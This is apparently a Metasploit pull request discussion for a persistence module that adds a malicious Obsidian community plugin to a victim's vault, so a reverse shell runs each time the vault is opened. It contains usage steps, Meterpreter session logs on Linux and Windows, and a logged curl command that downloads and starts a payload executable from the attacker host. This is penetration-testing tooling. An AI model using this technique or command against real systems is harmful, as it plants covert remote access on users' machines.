obsidian community plugin persistence module

[h00die]

This PR adds a new persistence module by making a community plugin for Obsidian, and attaching it to the user's vault. Each time the user opens the vault, a shell executes.

I coded in OSX, but only tested against Windows and Linux.

Verification

List the steps needed to make sure this thing works

• Install the application
• Start msfconsole
• Get a user shell on the target
• Do: use multi/local/obsidian_plugin_persistence
• Do: Select a shell which will work on your target OS
• Do: run
• You should get a shell when the target user opens the vault without restricted mode.

[jheysel-r7]

Thanks for the module @h00die! A couple minor comments. I was able to get the module working on both Windows and Ubuntu:

msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit
[*] Reloading module...

[*] Started reverse TCP handler on 172.16.199.1:4747
[*] Using plugin name: heFg
[+] Found open vault a3c85fece5bc4754: /home/msfuser/Documents/Obsidian Vault
[+] Found open vault 0b89f4384029f5e5: /home/msfuser/Documents/Obsidian Vault/test
[*] Uploading plugin to vault /home/msfuser/Documents/Obsidian Vault
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Uploading plugin to vault /home/msfuser/Documents/Obsidian Vault/test
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Sending stage (3045380 bytes) to 172.16.199.135
[*] Meterpreter session 2 opened (172.16.199.1:4747 -> 172.16.199.135:50644) at 2024-12-10 09:51:58 -0800

meterpreter > getuid
Server username: msfuser
meterpreter > sysinfo\
 > Interrupt: use the 'exit' command to quit
meterpreter > sysinfo
Computer     : 172.16.199.135
OS           : Ubuntu 22.04 (Linux 6.8.0-49-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit

msf6 exploit(multi/local/obsidian_plugin_persistence) > run

[*] Command to run on remote host: curl -so %TEMP%\MWepEBBdLa.exe http://172.16.199.1:8080/_tdKmkFueHIFyaHmed_EsQ & start /B %TEMP%\MWepEBBdLa.exe
[*] Fetch handler listening on 172.16.199.1:8080
[*] HTTP server started
[*] Adding resource /_tdKmkFueHIFyaHmed_EsQ
[*] Started reverse TCP handler on 172.16.199.1:9494
[*] Using plugin name: gJ3hDuF
[*] Target User: msfsuer
[*] Found user obsidian file: C:\Users\msfsuer\AppData\Roaming\obsidian\obsidian.json
[+] Found open vault 4a64d0cad62c57e8: C:\Users\msfsuer\Documents\test
[*] Uploading plugin to vault C:\Users\msfsuer\Documents\test
[*] Uploading: C:\Users\msfsuer\Documents\test/.obsidian/plugins/gJ3hDuF/main.js
[*] Uploading: C:\Users\msfsuer\Documents\test/.obsidian/plugins/gJ3hDuF/manifest.json
[*] Found 9 enabled community plugins (JjzmylLVr, U24sEX, XnIUKw3j6, WZv6jwbIB, ZopQa, UnLc0Xt, 8N639, DH9fw7, YFvM)
[*] adding gJ3hDuF to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Client 172.16.199.132 requested /_tdKmkFueHIFyaHmed_EsQ
[*] Sending payload to 172.16.199.132 (curl/8.0.1)
[*] Sending stage (203846 bytes) to 172.16.199.132
[*] Meterpreter session 4 opened (172.16.199.1:9494 -> 172.16.199.132:51302) at 2024-12-10 11:02:54 -0800

meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfsuer
meterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter > cd

[h00die]

All changes pushed, retested on linux and working.

[adeherdt-r7]

Waiting 25 hours sounds a bit excessive, perhaps make this a passive module?

[h00die]

I agree, however adding 'Stance' => Msf::Exploit::Stance::Passive, doesn't make it go background. Not sure if there's a regression somewhere, or it doesn't work with Msf::Exploit::Local

[h00die]

https://github.com/rapid7/metasploit-framework/pull/19676/files#diff-c85f6f34bf13b244d4ae805595855f8673a1db9be7004e40709827d16cc4747cR39

I actually ran in to this before but didn't feel like dealing with it.

[h00die]

Got this tested on windows again, working!

[jheysel-r7]

Thanks for making those changes @h00die. Retested and everything is looking great 🚀

msf6 exploit(multi/local/obsidian_plugin_persistence) > run

[*] Started reverse TCP handler on 172.16.199.1:5555
[*] Using plugin name: ohXq6CuqZp
[+] Found open vault 48e870b2c253f5f7: C:\Users\msfsuer\Documents\Test
[*] Uploading plugin to vault C:\Users\msfsuer\Documents\Test
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Sending stage (203846 bytes) to 172.16.199.132
[*] Meterpreter session 2 opened (172.16.199.1:5555 -> 172.16.199.132:50029) at 2024-12-30 08:51:29 -0800

meterpreter > getuid
Server username: DESKTOP-0OPTL76\msfsuer
symeterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >

[jheysel-r7]

Release Notes

Adds a new persistence module by making a community plugin for Obsidian, and attaching it to the user's vault. Each time the user opens the vault, the payload executes.